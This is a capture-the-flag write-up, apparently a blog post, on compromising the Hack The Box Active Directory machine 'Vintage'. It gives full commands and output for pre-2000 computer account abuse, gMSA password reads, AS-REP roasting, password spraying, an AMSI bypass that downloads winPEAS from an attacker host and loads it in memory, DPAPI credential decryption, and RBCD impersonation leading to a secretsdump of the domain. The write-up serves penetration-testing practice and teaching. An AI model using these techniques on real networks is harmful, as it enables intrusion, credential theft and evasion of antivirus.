2327 words
12 minutes
Vintage

Description#

Vintage is a challenging Active Directory machine characterized by disabled NTLM authentication, enabled antivirus protection, and complex security configurations. The machine involves exploiting a Pre-2000 computer account, leveraging multiple ACL/ACE vulnerabilities, decrypting Data Protection API (DPAPI) secrets, and manipulating Resource-Based Constrained Delegation.

Recon#

nmap#

nmap shows open ports that are common on a Domain Controller machine.

# Nmap 7.95 scan initiated Tue Jan 14 17:05:51 2025 as: nmap -p- -T4 -sSCV -vv -oN nmap.txt 10.10.11.45
Nmap scan report for 10.10.11.45 (10.10.11.45)
Host is up, received echo-reply ttl 127 (0.085s latency).
Scanned at 2025-01-14 17:05:51 WIB for 1165s
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-01-14 10:08:03Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
60376/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60381/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60401/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

It reveals the hostname DC01 and the domain vintage.htb, make sure to add those and the FQDN to /etc/hosts.

10.10.11.45 dc01.vintage.htb dc01 vintage.htb

Auth as p.rosa#

Enumeration#

Shares#

With the given credentials P.Rosa:Rosaisbest123, we could try to check our current access level.

 nxc smb vintage.htb -u P.Rosa -p Rosaisbest123 --shares
SMB         10.10.11.45     445    10.10.11.45      [*]  x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB         10.10.11.45     445    10.10.11.45      [-] 10.10.11.45\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

The STATUS_NOT_SUPPORTED response could be anything, but it looks like NTLM authentication is disabled, so let’s try with Kerberos. Add the domain to /etc/krb5.conf.

[libdefaults]
        default_realm = VINTAGE.HTB
        dns_lookup_kdc = true
        dns_lookup_realm = true
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true

[realms]
...
        VINTAGE.HTB = {
                kdc = dc01.vintage.htb
                admin_server = dc01.vintage.htb
        }
...

[domain_realm]
        vintage.htb = VINTAGE.HTB
        .vintage.htb = VINTAGE.HTB

Let’s get the TGT.

# Syncronize your date
sudo ntpdate vintage.htb
getTGT.py -dc-ip 10.10.11.45 vintage.htb/P.Rosa:Rosaisbest123

You need to use the machine FQDN dc01.vintage.htb if you’re using kerberos authentication.

 export KRB5CCNAME=$(realpath P.Rosa.ccache)
 nxc smb dc01.vintage.htb --use-kcache --shares
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa from ccache
SMB         dc01.vintage.htb 445    dc01             [*] Enumerated shares
SMB         dc01.vintage.htb 445    dc01             Share           Permissions     Remark
SMB         dc01.vintage.htb 445    dc01             -----           -----------     ------
SMB         dc01.vintage.htb 445    dc01             ADMIN$                          Remote Admin
SMB         dc01.vintage.htb 445    dc01             C$                              Default share
SMB         dc01.vintage.htb 445    dc01             IPC$            READ            Remote IPC
SMB         dc01.vintage.htb 445    dc01             NETLOGON        READ            Logon server share
SMB         dc01.vintage.htb 445    dc01             SYSVOL          READ            Logon server share

Nothing special going on here, just bunch of default shares.

Users#

Don’t forget to retrieve the user list from this machine, it might be useful later.

nxc smb dc01.vintage.htb --use-kcache --users | awk '{print $5}' | tail -n +4 | head -n -1 > users.txt

bloodhound#

I will use rusthound-ce to remotely collect information from the domain.

rusthound-ce -d vintage.htb -f dc01.vintage.htb -k -z -c All

Now load those json files into bloodhound and start analyzing potential attack paths.

Pre-Windows 2000 computers

Unfortunately, P.Rosa doesn’t have any Outbound Object Control or belongs to interesting groups. But PRE-WINDOWS 2000 COMPATIBLE ACCESS group has a computer account as its member which is interesting.

Theory

When a new computer account is configured as “pre-Windows 2000 computer”, its password is set based on its name (i.e. lowercase computer name without the trailing $). When it isn’t, the password is randomly generated.

According to Pre-Windows 2000 computers, the password for the computer account is the lowercase computer name without the trailing $ if it hasn’t been changed.

Auth as fs01$#

Validate Pre2k machine creds#

And FS01\$:fs01 is a valid credentials.

getTGT.py -dc-ip 10.10.11.45 vintage.htb/FS01\$:fs01

Enumeration#

ReadGMSAPassword#

GMSA01$ computer

From FS01$, we could ReadGMSAPassword of GMSA01$ computer account.

I will use bloodyAD to read msDS-ManagedPassword attribute of GMSA01$ computer account.

export KRB5CCNAME=$(realpath FS01\$.ccache)
bloodyAD -d vintage.htb -k --dc-ip 10.10.11.45 --host dc01.vintage.htb get object GMSA01\$ --attr msDS-ManagedPassword

Auth as gmsa01$#

Enumeration#

GMSA01$ ACL

GMSA01$ has GenericWrite permissions on the SERVICEMANAGERS group, which in turn grants AddSelf as well.

SERVICEMANAGERS ACL

Interestingly, the SERVICEMANAGERS group has a GenericAll permissions on the SVC_ARK, SVC_LDAP, and SVC_SQL users. However, there is no clear path forward from here, so let’s focus on what we can do first.

Get yourself a TGT for GMSA01$ computer account.

getTGT.py -dc-ip 10.10.11.45 vintage.htb/gmsa01\$ -hashes ":<NTHash>"
export KRB5CCNAME=$(realpath gmsa01\$.ccache)

GenericWrite#

Add ourselves to the SERVICEMANAGERS group.

bloodyAD -d vintage.htb -k --dc-ip 10.10.11.45 --host dc01.vintage.htb add groupMember SERVICEMANAGERS gmsa01\$

Get a new TGT.

getTGT.py -dc-ip 10.10.11.45 vintage.htb/gmsa01\$ -hashes ":<NTHash>"

GenericAll#

Because of the GenericAll permissions, we could change their passwords but the account itself doesn’t have any permissions that we can exploit further. We could make these user vulnerable to ASREProasting or launch Targeted Kerberoasting attacks. I will just make it vulnerable to ASREProasting attacks by setting the DONT_REQ_PREAUTH flag on these users.

SVC_SQL disabled

The SVC_SQL user is disabled, so we need to enabled it so that we can get the AS-REP response.

When I was solving this machine, I used bloodyAD to edit the userAccountControl attribute, but for some reason, it didn’t work while I was writing this post and I had to use ldapmodify instead. You can try the following bloodyAD if you want to try it.

bloodyAD -d vintage.htb -k --dc-ip 10.10.11.45 --host dc01.vintage.htb add uac svc_ark -f DONT_REQ_PREAUTH
bloodyAD -d vintage.htb -k --dc-ip 10.10.11.45 --host dc01.vintage.htb add uac svc_ldap -f DONT_REQ_PREAUTH
bloodyAD -d vintage.htb -k --dc-ip 10.10.11.45 --host dc01.vintage.htb add uac svc_sql -f DONT_REQ_PREAUTH

# Enable svc_sql user
bloodyAD  -d vintage.htb -k --dc-ip 10.10.11.45 --host dc01.vintage.htb remove uac svc_sql -f ACCOUNTDISABLE

For using ldapmodify to edit the userAccountControl attribute, you need to grab the current userAccountControl value of enabled user then add it with 4194304 according to Microsoft Docs for DONT_REQ_PREAUTH. You can use the following command to get the userAccountControl value.

ldapsearch -H ldap://dc01.vintage.htb/ -Y GSSAPI -b "DC=vintage,DC=htb" "(sAMAccountName=svc_ark)" userAccountControl

The value of userAccountControl should be 66048 for svc_ark user, so we need to replace it with 66048 + 4194304 which is 4260352. Then, you need to prepare a ldif file to modify the userAccountControl attribute. I use the following ldif file to modify the userAccountControl attribute of svc_ark, svc_ldap, and svc_sql users.

dn: CN=svc_ark,OU=Pre-Migration,DC=vintage,DC=htb
changetype: modify
replace: userAccountControl
userAccountControl: 4260352

dn: CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
changetype: modify
replace: userAccountControl
userAccountControl: 4260352

dn: CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
changetype: modify
replace: userAccountControl
userAccountControl: 4260352

Then, you can use ldapmodify to modify the userAccountControl attribute.

ldapmodify -H ldap://dc01.vintage.htb/ -Y GSSAPI -f enable_plus_dont_req_preauth.ldif

After that, you can ASREProast them and crack their hashes.

GetNPUsers.py vintage.htb/gmsa01\$ -k -no-pass -dc-host dc01.vintage.htb -request -format hashcat -outputfile asrep_hash.txt
hashcat asrep_hash.txt <path_to_rockyou.txt>

If no one has changed the passwords for svc_ark or svc_ldap, you should only be able to crack the hash for svc_sql. With the password cracked, we could spray this password with the users list we got earlier.

 kerbrute passwordspray -d vintage.htb --dc dc01.vintage.htb users.txt '<svc_sql_password>'

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 02/17/25 - Ronnie Flathers @ropnop

2025/02/17 23:11:12 >  Using KDC(s):
2025/02/17 23:11:12 >   dc01.vintage.htb:88

2025/02/17 23:11:13 >  [+] VALID LOGIN:  [email protected]:<svc_sql_password>
2025/02/17 23:11:13 >  [+] VALID LOGIN:  [email protected]:<svc_sql_password>
2025/02/17 23:11:13 >  Done! Tested 14 logins (2 successes) in 0.426 seconds

Looks like the password works for the C.Neri user as well. Let’s see what this user has access to.

c.neri group

Because this user belongs to the Remote Management Users group, we could log in using WinRM.

Auth as c.neri#

User Flag#

getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri:<c.neri_password>
export KRB5CCNAME=$(realpath c.neri.ccache)
Machines/Hard/Vintage on main [!?]
 evil-winrm -i dc01.vintage.htb -r vintage.htb

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\C.Neri\Desktop> cat user.txt
deadbeefc3fe5f808b096feb00b0fake
*Evil-WinRM* PS C:\Users\C.Neri\Desktop>

Enumeration#

*Evil-WinRM* PS C:\Users\C.Neri> whoami /all

USER INFORMATION
----------------

User Name      SID
============== ==============================================
vintage\c.neri S-1-5-21-4024337825-2033394866-2055507597-1115


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
VINTAGE\ServiceManagers                     Group            S-1-5-21-4024337825-2033394866-2055507597-1137 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1                                       Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Unfortunately, this user doesn’t have any elevated privileges or belong to any interesting groups.

window defender

One thing I noticed is that the Windows Defender is enabled, so we can’t just blatanlty run malicious programs. To partially bypass Windows Defender, we need to bypass the ASMI. We could use Bypass-4MSI command from evil-winrm to bypass the ASMI. After that, we could run winPEASany_ofs.exe by not touching the disk because AMSI works on the memory level and by using Bypass-4MSI command, we should be able to bypass the AMSI on .NET level.

Bypass-4MSI
$data=(New-Object System.Net.WebClient).DownloadData('http://10.10.14.154:8000/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()

Saved Credentials#

Unfortunately, WinPEAS didn’t provide any useful information. Another thing we should check is saved credentials. It’s usually stored in C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\ folder. To see the contents of this folder, we need to use Get-ChildItem -Force command to list all files in this folder.

*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> Get-ChildItem -Force


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

In this case, we can see that there is a file named C4BB96844A5C9DD45D5B6A9859252BA6 which is the credentialblob. We could use this guide from Mimikatz to decrypt it using DPAPI. Because Windows Defender is enabled, we can’t just run mimikatz on the box, so we need to decrypt it from our machine using tools like dpapi.py from impacket or pypykatz. I will use the former one, but let’s download it first using download C4BB96844A5C9DD45D5B6A9859252BA6 command from evil-winrm. Ignore the error message after running the command, the file will be available in the current directory where you ran evil-winrm. After that, run the follwing command to view the content of the credential file and grab the Guid MasterKey.

dpapi.py credential -f C4BB96844A5C9DD45D5B6A9859252BA6

Next, we need to get the current user’s SID using whoami /all and download the masterkey at C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>\<GUIDMasterKey> file. Use the following command to decrypt the masterkey file and get the key for decrypting the credential file.

dpapi.py masterkey -sid <SID> -f <masterkey_file> -password <password>
dpapi.py credential -f C4BB96844A5C9DD45D5B6A9859252BA6 -key <key>
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affil
iated companies

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : <password>

And we can see that it contains the password for the c.neri_adm user.

Auth as c.neri_adm#

RBCD#

c.neri.adm attack

As you can see, the c.neri_adm user belongs to the DELEGATEDADMINS group that is AllowedToAct on the DC01 computer. The c.neri_adm user has GenericWrite permissions on the DELEGATEDADMINS group, so we can add other users to the DELEGATEDADMINS group. This means any user that belongs to the DELEGATEDADMINS group could act as DC01$ (RBCD) if they meet the requirement for issuing a service ticket about the following :

  • a user account having a ServicePrincipalName set
  • an account with a trailing $ in the sAMAccountName (i.e. a computer accounts)
  • any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication

We could use either fs01$ or gmsa01$ for the RBCD attack. I will use gmsa01$ for this attack. Let’s add gmsa01$ to the DELEGATEDADMINS group.

getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri_adm:<password>
export KRB5CCNAME=$(realpath c.neri_adm.ccache)
bloodyAD -d vintage.htb -k --dc-ip 10.10.11.45 --host dc01.vintage.htb add groupMember DELEGATEDADMINS gmsa01\$

Impersonate the highest privileged user in the domain that is a user belonging to the ADMINISTRATORS, Domain Admins, or Enterprise Admins groups.

admins

I have tried to impersonate Administrator user, but it didn’t work when trying to secretsdump. I will try to impersonate l.bianchi_adm user instead.

# Get GMSA01$
getTGT.py -dc-ip 10.10.11.45 vintage.htb/gmsa01\$ -hashes "<NTHash>"
export KRB5CCNAME=$(realpath gmsa01\$.ccache)

# RBCD
getST.py -spn 'cifs/dc01.vintage.htb' -impersonate l.bianchi_adm -dc-ip 'dc01.vintage.htb' 'vintage.htb/gmsa01$' -k -no-pass

# Dump secrets
export KRB5CCNAME=$(realpath l.bianchi_adm@[email protected])
secretsdump.py vintage.htb/[email protected] -k -no-pass -just-dc

Auth as l.bianchi_adm#

Root flag#

Because the Administrator user ticket didn’t work, just use l.bianchi_adm user to read the flag at C:\Users\Administrator\Desktop\root.txt because this user belongs to the Administrators group anyway.

getTGT.py -dc-ip 10.10.11.45 vintage.htb/l.bianchi_adm -hashes "<NTHash>"
export KRB5CCNAME=$(realpath l.bianchi_adm.ccache)
 evil-winrm -i dc01.vintage.htb -r vintage.htb

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\L.Bianchi_adm\Documents> cd ../../Administrator/Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
deadbeeff27998d688d8f7d9e5befake
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
Vintage
https://404gh0st.pages.dev/posts/htb/vintage/
Author
404Gh0st
Published at
2025-01-15